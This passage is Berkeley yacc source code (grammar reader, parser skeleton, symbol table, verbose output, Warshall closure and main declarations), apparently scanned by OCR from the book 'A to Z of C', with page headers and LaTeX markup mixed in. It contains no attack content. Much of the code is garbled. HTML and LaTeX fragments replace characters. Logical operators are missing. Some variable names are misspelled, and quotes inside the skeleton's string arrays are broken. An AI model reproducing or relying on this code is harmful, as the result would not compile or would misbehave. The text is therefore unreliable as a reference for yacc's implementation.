    plhs[nrules] = plhs[nrules-1];
    plhs[nrules-1] = bp;
    rprec[nrules] = rprec[nrules-1];
    rprec[nrules-1] = 0;
    rassoc[nrules] = rassoc[nrules-1];
    rassoc[nrules-1] = TOKEN;
    }
add_symbol()
{
register int c;
register bucket *bp;
int s_lineno = lineno;
c = *cptr;
if (c == '\'' || c == '"')
bp = get_literal();
else
bp = get_name();
c = nextc();
if (c == ':')
{
end_rule();
start_rule(bp, s_lineno);
++cptr;
return;
}
if (last_was_action)
insert_empty_rule();
last_was_action = 0;
if (++nitems > maxitems)
expand_items();
pitem[nitems-1] = bp;
}

```

\section*{488 A to \(Z\) of \(C\)}
```

copy_action()
{
register int c;
register int i, n;
int depth;
int quote;
char *tag;
register FILE *f = action_file;
int a_lineno = lineno;
char *a_line = dup_line();
char *a_cptr = a_line + (cptr - line);
if (last_was_action)
insert_empty_rule();
last_was_action = 1;
fprintf(f, "case %d:\n", nrules - 2);
if (!lflag)
fprintf(f, line_format, lineno, input_file_name);
if (*cptr == '=') ++cptr;
n = 0;
for (i = nitems - 1; pitem[i]; --i) ++n;
depth = 0;
loop:
c = *cptr;
if (c == '$')
    {
        if (cptr[1] == '<')
        {
            int d_lineno = lineno;
            char *d_line = dup_line();
            char *d_cptr = d_line + (cptr - line);
            ++cptr;
            tag = get_tag();
            c = *cptr;
            if (c == '$')
{
fprintf(f, "yyval.%s", tag);
++cptr;
FREE(d_line);
goto loop;
}

```
```

    else if (isdigit(c))
    {
        i = get_number();
        if (i > n) dollar_warning(d_lineno, i);
        fprintf(f, "yyvsp[%d].%s", i - n, tag);
        FREE(d_line);
        goto loop;
        }
    else if (c == '-' && isdigit(cptr[1]))
    {
    ++cptr;
    i = -get_number() - n;
    fprintf(f, "yyvsp[%d].%s", i, tag);
    FREE(d_line);
    goto loop;
    }
    else
    dollar_error(d_lineno, d_line, d_cptr);
    }
else if (cptr[1] == '\$')
{
if (ntags)
{
tag = plhs[nrules]->tag;
if (tag == 0) untyped_lhs();
fprintf(f, "yyval.%s", tag);
}
else
fprintf(f, "yyval");
cptr += 2;
goto loop;
}
else if (isdigit(cptr[1]))
{
++cptr;
i = get_number();
if (ntags)
{
if (i <= 0 || i > n)
unknown_rhs(i);
tag = pitem[nitems + i - n - 1]->tag;
if (tag == 0) untyped_rhs(i, pitem[nitems + i - n - 1]-
>name);
fprintf(f, "yyvsp[%d].%s", i - n, tag);
}

```

\section*{490 A to \(Z\) of \(C\)}
```

    else
        {
            if (i > n)
                        dollar_warning(lineno, i);
                fprintf(f, "yyvsp[%d]", i - n);
        }
        goto loop;
    }
    else if (cptr[1] == '-')
    {
        cptr += 2;
        i = get_number();
        if (ntags)
            unknown_rhs(-i);
        fprintf(f, "yyvsp[%d]", -i - n);
        goto loop;
    }
    }
if (isalpha(c) || c == '_' || c == '$')
{
    do
    {
            putc(c, f);
            c = *++cptr;
    } while (isalnum(c) || c == '_' || c == '$');
goto loop;
}
putc(c, f);
++cptr;
switch (c)
{
case '\n':
next_line:
get_line();
if (line) goto loop;
unterminated_action(a_lineno, a_line, a_cptr);
case ';':
if (depth > 0) goto loop;
fprintf(f, "\nbreak;\n");
return;
case '{':
++depth;
goto loop;

```
```

    case '}':
    if (--depth > 0) goto loop;
    fprintf(f, "\nbreak;\n");
    return;
    case '\'':
case '"':
{
int s_lineno = lineno;
char *s_line = dup_line();
char *s_cptr = s_line + (cptr - line - 1);
quote = c;
for (;;)
{
c = *cptr++;
putc(c, f);
if (c == quote)
{
FREE(s_line);
goto loop;
}
if (c == '\n')
unterminated_string(s_lineno, s_line, s_cptr);
if (c == '<br>')
{
c = *cptr++;
putc(c, f);
if (c == '\n')
{
get_line();
if (line == 0)
unterminated_string(s_lineno, s_line,
s_cptr);
}
}
}
}
case '/':
c = *cptr;
if (c == '/')
{
putc('*', f);
while ((c = *++cptr) != '\n')
{
if (c == '*' \&\& cptr[1] == '/')
fprintf(f, "* ");

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```
                        else
                        putc(c, f);
                }
                fprintf(f, "*/\n");
                goto next_line;
    }
    if (c == '*')
    {
        int c_lineno = lineno;
        char *c_line = dup_line();
        char *c_cptr = c_line + (cptr - line - 1);
        putc('*', f);
        ++cptr;
        for (;;)
        {
            c = *cptr++;
            putc(c, f);
            if (c == '*' && *cptr == '/')
            {
                                putc('/', f);
                                ++cptr;
                                FREE(c_line);
                                goto loop;
            }
            if (c == '\n')
            {
                                get_line();
                                if (line == 0)
                                    unterminated_comment(c_lineno, c_line, c_cptr);
            }
        }
            }
            goto loop;
        default:
        goto loop;
    }
}
int
mark_symbol()
{
    register int c;
    register bucket *bp;
```

```
    c = cptr[1];
    if (c == '%' || c == '\\')
    {
        cptr += 2;
        return (1);
    }
    if (c == '=')
        cptr += 2;
    else if ((c == 'p' || c == 'P') &&
            ((c = cptr[2]) == 'r' || c == 'R') &&
            ((c = cptr[3]) == 'e' c == 'E') &&
            ((c = cptr[4]) == 'c' C == 'C') &&
            ((c = cptr[5], !IS_IDENT(c))))
        cptr += 5;
    else
        syntax_error(lineno, line, cptr);
    c = nextc();
    if (isalpha(c) || c == '_' || c == '.'' || C == '$')
        bp = get_name();
    else if (c == '\'' || c == '"')
        bp = get_literal();
    else
    {
        syntax_error(lineno, line, cptr);
        /*NOTREACHED*/
    }
    if (rprec[nrules] != UNDEFINED && bp->prec != rprec[nrules])
        prec_redeclared();
    rprec[nrules] = bp->prec;
    rassoc[nrules] = bp->assoc;
    return (0);
}
read_grammar()
{
    register int c;
    initialize_grammar();
    advance_to_start();
    for (;;)
    {
        c = nextc();
```


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```
    if (c == EOF) break;
    if (isalpha(c) || c == '_''|| c == '.' || c == '$' || c == '\''
    c == '"'')
            add_symbol();
    else if (c == '{' || c == '=')
            copy_action();
    else if (c == '|')
    {
        end_rule();
        start_rule(plhs[nrules-1], 0);
        ++cptr;
        }
        else if (c == '%')
        {
            if (mark_symbol()) break;
        }
        else
            syntax_error(lineno, line, cptr);
    }
    end_rule();
}
free
    _tags()
{
    register int i;
    if (tag_table == 0) return;
    for (i = 0; i < ntags; ++i)
    {
            assert(tag_table[i]);
            FREE(tag_table[i]);
    }
    FREE(tag_table);
}
pack_names()
{
    register bucket *bp;
    register char *p, *s, *t;
    name_pool_size = 13; /* 13 == sizeof("$end") + sizeof("$accept") */
    for (bp = first_symbol; bp; bp = bp->next)
        name_pool_size += strlen(bp->name) + 1;
    name_pool = MALLOC(name_pool_size);
    if (name_pool == 0) no_space();
```

```
    strcpy(name_pool, "$accept");
    strcpy(name_pool+8, "$end");
    t = name_pool + 13;
    for (bp = first_symbol; bp; bp = bp->next)
    {
        p = t;
        s = bp->name;
        while (*t++ = *s++) continue;
        FREE(bp->name);
        bp->name = p;
    }
}
check_symbols()
{
    register bucket *bp;
    if (goal->class == UNKNOWN)
        undefined_goal(goal->name);
    for (bp = first_symbol; bp; bp = bp->next)
    {
        if (bp->class == UNKNOWN)
        {
            undefined_symbol_warning(bp->name);
            bp->class = TERM;
        }
    }
}
pack_symbols()
{
    register bucket *bp;
    register bucket **v;
    register int i, j, k, n;
    nsyms = 2;
    ntokens = 1;
    for (bp = first_symbol; bp; bp = bp->next)
    {
        ++nsyms;
        if (bp->class == TERM) ++ntokens;
    }
    start_symbol = ntokens;
    nvars = nsyms - ntokens;
    symbol_name = (char **) MALLOC(nsyms*sizeof(char *));
    if (symbol_name == 0) no_space();
    symbol_value = (short *) MALLOC(nsyms*sizeof(short));
```


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```
if (symbol_value == 0) no_space();
symbol_prec = (short *) MALLOC(nsyms*sizeof(short));
if (symbol_prec == 0) no_space();
symbol_assoc = MALLOC(nsyms);
if (symbol_assoc == 0) no_space();
v = (bucket **) MALLOC (nsyms*sizeof(bucket *));
if (v == 0) no_space();
v[0] = 0;
v[start_symbol] = 0;
i = 1;
j = start_symbol + 1;
for (bp = first_symbol; bp; bp = bp->next)
{
    if (bp->class == TERM)
    v[i++] = bp;
    else
        v[j++] = bp;
}
assert(i == ntokens && j == nsyms);
for (i = 1; i < ntokens; ++i)
    v[i]->index = i;
goal->index = start_symbol + 1;
k = start_symbol + 2;
while (++i < nsyms)
    if (v[i] != goal)
    {
        v[i]->index = k;
        ++k;
    }
goal->value = 0;
k = 1;
for (i = start_symbol + 1; i < nsyms; ++i)
{
    if (v[i] != goal)
    {
            v[i]->value = k;
            ++k;
    }
}
k = 0;
```

```
for (i = 1; i < ntokens; ++i)
{
    n = v[i]->value;
    if (n > 256)
    {
        for (j = k++; j > 0 && symbol_value[j-1] > n; --j)
                symbol_value[j] = symbol_value[j-1];
            symbol_value[j] = n;
    }
}
if (v[1]->value == UNDEFINED)
    v[1]->value = 256;
j = 0;
n = 257;
for (i = 2; i < ntokens; ++i)
{
    if (v[i]->value == UNDEFINED)
    {
        while (j < k && n == symbol_value[j])
        {
            while (++j < k && n == symbol_value[j]) continue;
            ++n;
        }
        v[i]->value = n;
        ++n;
    }
}
symbol_name[0] = name_pool + 8;
symbol_value[0] = 0;
symbol_prec[0] = 0;
symbol_assoc[0] = TOKEN;
for (i = 1; i < ntokens; ++i)
{
    symbol_name[i] = v[i]->name;
    symbol_value[i] = v[i]->value;
    symbol_prec[i] = v[i]->prec;
    symbol_assoc[i] = v[i]->assoc;
}
symbol_name[start_symbol] = name_pool;
symbol_value[start_symbol] = -1;
symbol_prec[start_symbol] = 0;
symbol_assoc[start_symbol] = TOKEN;
for (++i; i < nsyms; ++i)
{
    k = v[i]->index;
```


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```
        symbol_name[k] = v[i]->name;
        symbol_value[k] = v[i]->value;
symbol_prec[k] = v[i]->prec;
symbol_assoc[k] = v[i]->assoc;
}
FREE(v);
}
pack_grammar()
{
register int i, j;
int assoc, prec;
ritem = (short *) MALLOC(nitems*sizeof(short));
if (ritem == 0) no_space();
rlhs = (short *) MALLOC(nrules*sizeof(short));
if (rlhs == 0) no_space();
rrhs = (short *) MALLOC((nrules+1)*sizeof(short));
if (rrhs == 0) no_space();
rprec = (short *) REALLOC(rprec, nrules*sizeof(short));
if (rprec == 0) no_space();
rassoc = REALLOC(rassoc, nrules);
if (rassoc == 0) no_space();
ritem[0] = -1;
ritem[1] = goal->index;
ritem[2] = 0;
ritem[3] = -2;
rlhs[0] = 0;
rlhs[1] = 0;
rlhs[2] = start_symbol;
rrhs[0] = 0;
rrhs[1] = 0;
rrhs[2] = 1;
j = 4;
for (i = 3; i < nrules; ++i)
{
    rlhs[i] = plhs[i]->index;
    rrhs[i] = j;
    assoc = TOKEN;
    prec = 0;
    while (pitem[j])
    {
                ritem[j] = pitem[j]->index;
```

```
                if (pitem[j]->class == TERM)
                {
            prec = pitem[j]->prec;
            assoc = pitem[j]->assoc;
                }
                ++j;
        }
        ritem[j] = -i;
        ++j;
        if (rprec[i] == UNDEFINED)
        {
            rprec[i] = prec;
            rassoc[i] = assoc;
        }
    }
    rrhs[i] = j;
    FREE(plhs);
    FREE(pitem);
}
print_grammar()
{
    register int i, j, k;
    int spacing;
    register FILE *f = verbose_file;
    if (!vflag) return;
    k = 1;
    for (i = 2; i < nrules; ++i)
    {
        if (rlhs[i] != rlhs[i-1])
        {
            if (i != 2) fprintf(f, "\n");
            fprintf(f, "%4d %s :", i - 2, symbol_name[rlhs[i]]);
            spacing = strlen(symbol_name[rlhs[i]]) + 1;
        }
        else
            {
            fprintf(f, "%4d ", i - 2);
            j = spacing;
            while (--j >= 0) putc(' ', f);
            putc('|', f);
            }
            while (ritem[k] >= 0)
            {
            fprintf(f, " %s", symbol_name[ritem[k]]);

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```

            ++k;
        }
        ++k;
        putc('\n', f);
    }
    }
reader()
{
write_section(banner);
create_symbol_table();
read_declarations();
read_grammar();
free_symbol_table();
free_tags();
pack_names();
check_symbols();
pack_symbols();
pack_grammar();
free_symbols();
print_grammar();
}

```

\subsection*{49.2.2.9 Skeleton.c}
```

\#include "defs.h"

```
#include "defs.h"
/* The banner used here should be replaced with an #ident directive */
/* if the target C compiler supports #ident directives. */
/* */
/* If the skeleton is changed, the banner should be changed so that */
/* the altered version can easily be distinguished from the original.*/
char *banner[] =
{
    "#ifndef lint",
    "static char yysccsid[] = \"@(#)yaccpar 1.7 (Berkeley)
09/09/90\";",
    "#endif",
    "#define YYBYACC 1",
    0
};
char *tables[] =
{
    "extern short yylhs[];",
    "extern short yylen[];",
```

```
    "extern short yydefred[];",
    "extern short yydgoto[];",
    "extern short yysindex[];",
    "extern short yyrindex[];",
    "extern short yygindex[];",
    "extern short yytable[];",
    "extern short yycheck[];",
    "#if YYDEBUG",
    "extern char *yyname[];",
    "extern char *yyrule[];",
    "#endif",
    0
};
char *header[] =
{
    "#define yyclearin (yychar=(-1))",
    "#define yyerrok (yyerrflag=0)",
    "#ifdef YYSTACKSIZE",
    "#ifndef YYMAXDEPTH",
    "#define YYMAXDEPTH YYSTACKSIZE",
    "#endif",
    "#else",
    "#ifdef YYMAXDEPTH",
    "#define YYSTACKSIZE YYMAXDEPTH",
    "#else",
    "#define YYSTACKSIZE 600",
    "#define YYMAXDEPTH 600",
    "#endif",
    "#endif",
    "int yydebug;",
    "int yynerrs;",
    "int yyerrflag;",
    "int yychar;",
    "short *yyssp;",
    "YYSTYPE *Yyvsp;",
    "YYSTYPE YYval;",
    "YYSTYPE YYlval;",
    "short yyss[YYSTACKSIZE];",
    "YYSTYPE YYvs[YYSTACKSIZE];",
    "#define yystacksize YYSTACKSIZE",
        0
};
char *body[] =
{
    "#define YYABORT goto Yyabort",
```


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```
    "#define YYACCEPT goto yyaccept",
    "#define YYERROR goto yyerrlab",
    "int",
    "yyparse()",
    "{",
    " register int yym, yyn, yystate;",
    "#if YYDEBUG",
    " register char *yys;",
    " extern char *getenv();",
    "",
    " if (yys = getenv(\"YYDEBUG\"))",
    " {",
    " yyn = *yys;",
    " if (yyn >= '0' && yyn <= '9')",
    " yydebug = yyn - '0';",
    " }",
    "#endif",
    "",
    " yynerrs = 0;",
    " Yyerrflag = 0;",
    " Yychar = (-1);",
    "",
    " yyssp = yyss;",
    " yyvsp = yyvs;",
    " *yyssp = yystate = 0;",
    ||
    "yyloop:",
    " if (yyn = yydefred[yystate]) goto yyreduce;",
    " if (yychar < 0)",
    " {",
    " if ((yychar = yylex()) < 0) yychar = 0;",
    "#if YYDEBUG",
    " if (yydebug)",
    " {",
    " yys = 0;",
    " if (yychar <= YYMAXTOKEN) yys = yyname[yychar];",
    " if (!yys) yys = \"illegal-symbol\";",
    " printf(\"Yydebug: state %d, reading %d (%s)\\n\",
yystate,",
    "
    " }",
"#endif",
" }",
" if ((yyn = yysindex[yystate]) && (yyn += yychar) >= 0 &&",
" yyn <= YYTABLESIZE && yycheck[yyn] == yychar)",
" {",
"#if YYDEBUG",
```

```
        if (yydebug)",
        printf(\"yydebug: state %d, shifting to state
%d\\n\",",
    "
    "#endif",
    " if (yyssp >= yyss + yystacksize - 1)",
        {",
                                goto yyoverflow;",
        }",
        *++yyssp = yystate = yytable[yyn];",
        *++yyvsp = yylval;",
        yychar = (-1);",
        if (yyerrflag > 0) --yyerrflag;",
            goto yyloop;",
        }",
        if ((yyn = yyrindex[yystate]) && (yyn += yychar) >= 0 &&",
                        Yyn <= YYTABLESIZE && YYcheck[yyn] == yychar)",
        {",
            yyn = yytable[yyn];",
            goto yyreduce;",
        }",
        if (yyerrflag) goto yyinrecovery;",
    "#ifdef lint",
    " goto yynewerror;",
    "#endif",
    "yynewerror:",
    " yyerror(\"syntax error\");",
    "#ifdef lint",
    " goto yyerrlab;",
    "#endif",
    "yyerrlab:",
    " ++yynerrs;",
    "yyinrecovery:",
    " if (yyerrflag < 3)",
    " {",
    " yyerrflag = 3;",
    " for (;;)",
    " {",
    " if ((yyn = Yysindex[*yyssp]) && (yyn += YYERRCODE) >= 0
&&",
    " yyn <= YYTABLESIZE && yycheck[yyn] ==
YYERRCODE) ",
    " {",
    "#if YYDEBUG",
    " if (yydebug)",
    "
shifting\\",
```


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```
    " to state %d\\n\", *yyssp, yytable[yyn]);",
    "#endif",
" if (yyssp >= yyss + yystacksize - 1)",
"
" goto yyoverflow;",
" }",
" *++yyssp = yystate = yytable[yyn];",
" *++yyvsp = yylval;",
" goto yyloop;",
" }",
" else",
" {",
"#if YYDEBUG",
"" if (yydebug)",
"
                                printf(\"yydebug: error recovery discarding
state %d\
\\n\",",
*yyssp);",
"#endif",
" if (yyssp <= yyss) goto yyabort;",
" --yyssp;",
" --yyvsp;",
" }",
" }",
" }",
" else",
" {",
" if (yychar == 0) goto yyabort;",
"#if YYDEBUG",
" if (yydebug)",
" {",
" yys = 0;",
" if (yychar <= YYMAXTOKEN) yys = yyname[yychar];",
" if (!yys) yys = \"illegal-symbol\";",
" printf(\"yydebug: state %d, error recovery discards
token %d\
(%s)\\n\",",
" yystate, yychar, yys);",
" }",
"#endif",
" yychar = (-1);",
" goto yyloop;",
" }",
"yyreduce:",
"#if YYDEBUG",
" if (yydebug)",
```

```
            printf(\"yydebug: state %d, reducing by rule %d
(%S)\\n\",",
    " yystate, yyn, yyrule[yyn]);",
    "#endif",
    " yym = yylen[yyn];",
    " Yyval = yyvsp[1-yym];",
    " switch (yyn)",
    " {",
    0
};
char *trailer[] =
{
    " }",
    " yyssp -= yym;",
    " yystate = *yyssp;",
    " yyvsp -= yym;",
    " yym = yylhs[yyn];",
    " if (yystate == 0 && yym == 0)",
    " {",
    "#if YYDEBUG",
    " if (yydebug)",
    " printf(\"yydebug: after reduction, shifting from state
0 to\\",
    " state %d\\n\", YYFINAL);",
    "#endif",
    " Yystate = YYFINAL;",
    *++yyssp = YYFINAL;",
    *++yyvsp = yyval;",
    if (yychar < 0)",
    {",
                                if ((yychar = yylex()) < 0) yychar = 0;",
    "#if YYDEBUG",
    " if (yydebug)",
    " {",
    " yys = 0;",
    " if (yychar <= YYMAXTOKEN) yys = yyname[yychar];",
    " if (!yys) yys = \"illegal-symbol\";",
    " printf(\"yydebug: state %d, reading %d (%s)\\n\",",
    " YYFINAL, yychar, yys);",
    " }",
    "#endif",
    " }",
    " if (yychar == 0) goto yyaccept;",
    " goto yyloop;",
    " }",
```


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```
    " if ((yyn = yygindex[yym]) && (yyn += yystate) >= 0 &&",
    " Yyn <= YYTABLESIZE && yycheck[yyn] == yystate)",
        yystate = yytable[yyn];",
    else",
        yystate = yydgoto[yym];",
    "#if YYDEBUG",
    " if (yydebug)",
    " printf(\"yydebug: after reduction, shifting from state %d
\\",
    "to state %d\\n\", *yyssp, yystate);",
    "#endif",
    " if (yyssp >= yyss + yystacksize - 1)",
    " {",
    " goto Yyoverflow;",
    " }",
    " *++yyssp = yystate;",
    " *++yyvsp = yyval;",
    " goto yyloop;",
    "yyoverflow:",
    " yyerror(\"yacc stack overflow\");",
    "yyabort:",
    " return (1);",
    "yyaccept:",
    " return (0);",
    " } ",
    0
};
write_section(section)
char *section[];
{
    register int i;
    register FILE *fp;
    fp = code_file;
    for (i = 0; section[i]; ++i)
    {
        ++outline;
        fprintf(fp, "%s\n", section[i]);
    }
}
```


### 49.2.2.10 Symtab.c

```
#include "defs.h"
/* TABLE_SIZE is the number of entries in the symbol table. */
/* TABLE_SIZE must be a power of two. */
```

```
#define TABLE_SIZE 1024
bucket **symbol_table;
bucket *first_symbol;
bucket *last_symbol;
int
hash (name)
char *name;
{
    register char *s;
    register int c, k;
    assert(name && *name);
    s = name;
    k = *s;
    while (c = *++s)
        k = (31*k + c) & (TABLE_SIZE - 1);
        return (k);
}
bucket *
make_bucket (name)
char *name;
{
    register bucket *bp;
    assert(name);
    bp = (bucket *) MALLOC(sizeof(bucket));
    if (bp == 0) no_space();
    bp->link = 0;
    bp->next = 0;
    bp->name = MALLOC(strlen(name) + 1);
    if (bp->name == 0) no_space();
    bp->tag = 0;
    bp->value = UNDEFINED;
    bp->index = 0;
    bp->prec = 0;
    bp-> class = UNKNOWN;
    bp->assoc = TOKEN;
    if (bp->name == 0) no_space();
    strcpy(bp->name, name);
    return (bp);
}
```


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```
bucket *
lookup(name)
char *name;
{
    register bucket *bp, **bpp;
    bpp = symbol_table + hash(name);
    bp = *bpp;
    while (bp)
    {
        if (strcmp(name, bp->name) == 0) return (bp);
        bpp = &bp->link;
        bp = *bpp;
    }
    *bpp = bp = make_bucket (name);
    last_symbol->next = bp;
    last_symbol = bp;
    return (bp);
}
create_symbol_table()
{
    register int i;
    register bucket *bp;
    symbol_table = (bucket **) MALLOC(TABLE_SIZE*sizeof(bucket *));
    if (symbol_table == O) no_space();
    for (i = 0; i < TABLE_SIZE; i++)
        symbol_table[i] = 0;
    bp = make_bucket("error");
    bp->index = 1;
    bp->class = TERM;
    first_symbol = bp;
    last_symbol = bp;
    symbol_table[hash("error")] = bp;
}
free_symbol_table()
{
    FREE (symbol_table);
    symbol_table = 0;
}
```

```
free_symbols()
{
    register bucket *p, *q;
    for (p = first_symbol; p; p = q)
    {
        q = p->next;
        FREE (p);
    }
}
49.2.2.11 Verbose.c
#include "defs.h"
static short *null_rules;
verbose()
{
    register int i;
    if (!vflag) return;
    null_rules = (short *) MALLOC(nrules*sizeof(short));
    if (null_rules == O) no_space();
    fprintf(verbose_file, "\f\n");
    for (i = 0; i < nstates; i++)
        print_state(i);
    FREE(null_rules);
    if (nunused)
        log_unused();
    if (SRtotal || RRtotal)
        log_conflicts();
    fprintf(verbose_file, "\n\n%d terminals, %d nonterminals\n",
ntokens,
            nvars);
    fprintf(verbose_file, "%d grammar rules, %d states\n", nrules - 2,
nstates);
}
log_unused()
{
    register int i;
    register short *p;
```


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```
    fprintf(verbose_file, "\n\nRules never reduced:\n");
    for (i = 3; i < nrules; ++i)
    {
        if (!rules_used[i])
        {
            fprintf(verbose_file, "\t%s :", symbol_name[rlhs[i]]);
            for (p = ritem + rrhs[i]; *p >= 0; ++p)
                    fprintf(verbose_file, " %s", symbol_name[*p]);
            fprintf(verbose_file, " (%d)\n", i - 2);
        }
    }
}
log_conflicts()
{
    register int i;
    fprintf(verbose_file, "\n\n");
    for (i = 0; i < nstates; i++)
    {
        if (SRconflicts[i] || RRconflicts[i])
        {
            fprintf(verbose_file, "State %d contains ", i);
            if (SRconflicts[i] == 1)
                fprintf(verbose_file, "1 shift/reduce conflict");
            else if (SRconflicts[i] > 1)
                    fprintf(verbose_file, "%d shift/reduce conflicts",
                    SRconflicts[i]);
            if (SRconflicts[i] && RRconflicts[i])
                    fprintf(verbose_file, ", ");
            if (RRconflicts[i] == 1)
                fprintf(verbose_file, "1 reduce/reduce conflict");
            else if (RRconflicts[i] > 1)
                            fprintf(verbose_file, "%d reduce/reduce conflicts",
                    RRconflicts[i]);
            fprintf(verbose_file, ".\n");
        }
    }
}
print_state(state)
int state;
{
    if (state)
        fprintf(verbose_file, "\n\n");
    if (SRconflicts[state] || RRconflicts[state])
        print_conflicts(state);
```

```
    fprintf(verbose_file, "state %d\n", state);
    print_core(state);
    print_nulls(state);
    print_actions(state);
}
print_conflicts(state)
int state;
{
    register int symbol;
    register action *p, *q, *r;
    for (p = parser[state]; p; p = q->next)
    {
        q = p;
        if (p->action_code == ERROR || p->suppressed == 2)
            continue;
        symbol = p->symbol;
        while (q->next && q->next->symbol == symbol)
            q = q->next;
        if (state == final_state && symbol == 0)
        {
            r = p;
            for (;;)
            {
                fprintf(verbose_file, "%d: shift/reduce conflict \
(accept, reduce %d) on $end\n", state, r->number - 2);
            if (r == q) break;
            r = r->next;
        }
    }
    else if (p != q)
    {
        r = p->next;
        if (p->action_code == SHIFT)
        {
            for (;;)
            {
                if (r->action_code == REDUCE && p->suppressed != 2)
                    fprintf(verbose_file, "%d: shift/reduce conflict \
(shift %d, reduce %d) on %s\n", state, p->number, r->number - 2,
                                    symbol_name[symbol]);
                if (r == q) break;
                r = r->next;
        }
    }
```


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```
        else
        {
        for (;;)
        {
            if (r->action_code == REDUCE && p->suppressed != 2)
                fprintf(verbose_file, "%d: reduce/reduce conflict \
(reduce %d, reduce %d) on %s\n", state, p->number - 2, r->number - 2,
                                    symbol_name[symbol]);
            if (r == q) break;
                r = r->next;
            }
                }
        }
    }
}
print_core(state)
int state;
{
    register int i;
    register int k;
    register int rule;
    register core *statep;
    register short *sp;
    register short *sp1;
    statep = state_table[state];
    k = statep->nitems;
    for (i = 0; i < k; i++)
    {
        sp1 = sp = ritem + statep->items[i];
        while (*sp >= 0) ++sp;
        rule = -(*sp);
        fprintf(verbose_file, "\t%s : ", symbol_name[rlhs[rule]]);
                for (sp = ritem + rrhs[rule]; sp < sp1; sp++)
                    fprintf(verbose_file, "%s ", symbol_name[*sp]);
        putc('.', verbose_file);
        while (*sp >= 0)
        {
            fprintf(verbose_file, " %s", symbol_name[*sp]);
            sp++;
        }
```

```
        fprintf(verbose_file, " (%d)\n", -2 - *sp);
    }
}
print_nulls(state)
int state;
{
    register action *p;
    register int i, j, k, nnulls;
    nnulls = 0;
    for (p = parser[state]; p; p = p->next)
    {
        if (p->action_code == REDUCE &&
                (p->suppressed == 0 | | p->suppressed == 1))
        {
            i = p->number;
            if (rrhs[i] + 1 == rrhs[i+1])
            {
                for (j = 0; j < nnulls && i > null_rules[j]; ++j)
                    continue;
                        if (j == nnulls)
                        {
                        ++nnulls;
                                null_rules[j] = i;
                        }
                                else if (i != null_rules[j])
                        {
                        ++nnulls;
                                for (k = nnulls - 1; k > j; --k)
                                null_rules[k] = null_rules[k-1];
                                null_rules[j] = i;
                        }
            }
        }
    }
    for (i = 0; i < nnulls; ++i)
    {
        j = null_rules[i];
        fprintf(verbose_file, "\t%s : . (%d)\n", symbol_name[rlhs[j]],
            j - 2);
    }
    fprintf(verbose_file, "\n");
}
```


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```
print_actions(stateno)
int stateno;
{
    register action *p;
    register shifts *sp;
    register int as;
    if (stateno == final_state)
        fprintf(verbose_file, "\t$end accept\n");
    p = parser[stateno];
    if (p)
    {
        print_shifts(p);
        print_reductions(p, defred[stateno]);
    }
    sp = shift_table[stateno];
    if (sp && sp->nshifts > 0)
    {
        as = accessing_symbol[sp->shift[sp->nshifts - 1]];
        if (ISVAR(as))
            print_gotos(stateno);
    }
}
print_shifts(p)
register action *p;
{
    register int count;
    register action *q;
    count = 0;
    for (q = p; q; q = q->next)
    {
        if (q->suppressed < 2 && q->action_code == SHIFT)
            ++count;
    }
    if (count > 0)
    {
        for (; p; p = p->next)
        {
            if (p->action_code == SHIFT && p->suppressed == 0)
                fprintf(verbose_file, "\t%s shift %d\n",
                                symbol_name[p->symbol], p->number);
        }
    }
}
```

```
print_reductions(p, defred)
register action *p;
register int defred;
{
    register int k, anyreds;
    register action *q;
    anyreds = 0;
    for (q = p; q ; q = q->next)
    {
        if (q->action_code == REDUCE && q->suppressed < 2)
        {
            anyreds = 1;
            break;
        }
    }
    if (anyreds == 0)
        fprintf(verbose_file, "\t. error\n");
    else
    {
        for (; p; p = p->next)
        {
            if (p->action_code == REDUCE && p->number != defred)
            {
                k = p->number - 2;
                if (p->suppressed == 0)
                    fprintf(verbose_file, "\t%s reduce %d\n",
                                symbol_name[p->symbol], k);
            }
        }
            if (defred > 0)
                fprintf(verbose_file, "\t. reduce %d\n", defred - 2);
    }
}
print_gotos(stateno)
int stateno;
{
    register int i, k;
    register int as;
    register short *to_state;
    register shifts *sp;
    putc('\n', verbose_file);
    sp = shift_table[stateno];
    to_state = sp->shift;
```


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```
    for (i = 0; i < sp->nshifts; ++i)
    {
        k = to_state[i];
        as = accessing_symbol[k];
        if (ISVAR(as))
            fprintf(verbose_file, "\t%s goto %d\n", symbol_name[as], k);
}
}
```


### 49.2.2.12 Warshall.c

```
#include "defs.h"
```

transitive_closure (R, $n$ )
unsigned *R;
int $n$;
\{
register int rowsize;
register unsigned mask;
register unsigned *rowj;
register unsigned *rp;
register unsigned *rend;
register unsigned *ccol;
register unsigned *relend;
register unsigned *cword;
register unsigned *rowi;
rowsize $=$ WORDSIZE(n);
relend $=\mathrm{R}+\mathrm{n}$ *rowsize;
cword $=\mathrm{R}$;
mask $=1$;
rowi $=$ R;
while (rowi < relend)
\{
ccol $=$ cword;
row $=$ R;
while (rowj < relend)
\{
if (*ccol \& mask)
\{
rp = rowi;
rend = rowj + rowsize;
while (rowj < rend)
*rowj++ = *rp++;
\}

```
                else
                {
                        rowj += rowsize;
                }
                ccol += rowsize;
        }
        mask <<= 1;
        if (mask == 0)
        {
            mask = 1;
            cword++;
        }
        rowi += rowsize;
    }
}
reflexive_transitive_closure(R, n)
unsigned *R;
int n;
{
    register int rowsize;
    register unsigned mask;
    register unsigned *rp;
    register unsigned *relend;
    transitive_closure(R, n);
    rowsize = WORDSIZE(n);
    relend = R + n*rowsize;
    mask = 1;
    rp = R;
    while (rp < relend)
    {
        *rp |= mask;
        mask <<= 1;
        if (mask == 0)
        {
            mask = 1;
            rp++;
        }
        rp += rowsize;
    }
}
```


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### 49.2.2.13 Main.c

```
#include <signal.h>
#include "defs.h"
```

char dflag;
char lflag;
char rflag;
char tflag;
char vflag;
char *file_prefix = "y";
char *myname = "yacc";
\#ifdef MSDOS
char *temp_form = "yaccXXXXXXX";
\#else
char *temp_form = "yacc.XXXXXXX";
\#endif
int lineno;
int outline;
char *action_file_name;
char *defines_file_name;
char *input_file_name = "";
char *output_file_name;
char *code_file_name;
char *text_file_name;
char *union_file_name;
char *verbose_file_name;
FILE *action_file; /* a temp file, used to save actions associated */
/* with rules until the parser is written */
FILE *defines_file; /* y.tab.h */
FILE *input_file; /* the input file */
FILE *output_file; /* y.tab.c */
FILE *code_file; /* y.code.c (used when the -r option is specified) */
FILE *text_file; /* a temp file, used to save text until all */
/* symbols have been defined */
FILE *union_file; /* a temp file, used to save the union */
/* definition until all symbol have been */
/* defined */
FILE *verbose_file; /* y.output */
int nitems;
int nrules;
int nsyms;

```
int ntokens;
int nvars;
int start_symbol;
char **symbol_name;
short *symbol_value;
short *symbol_prec;
char *symbol_assoc;
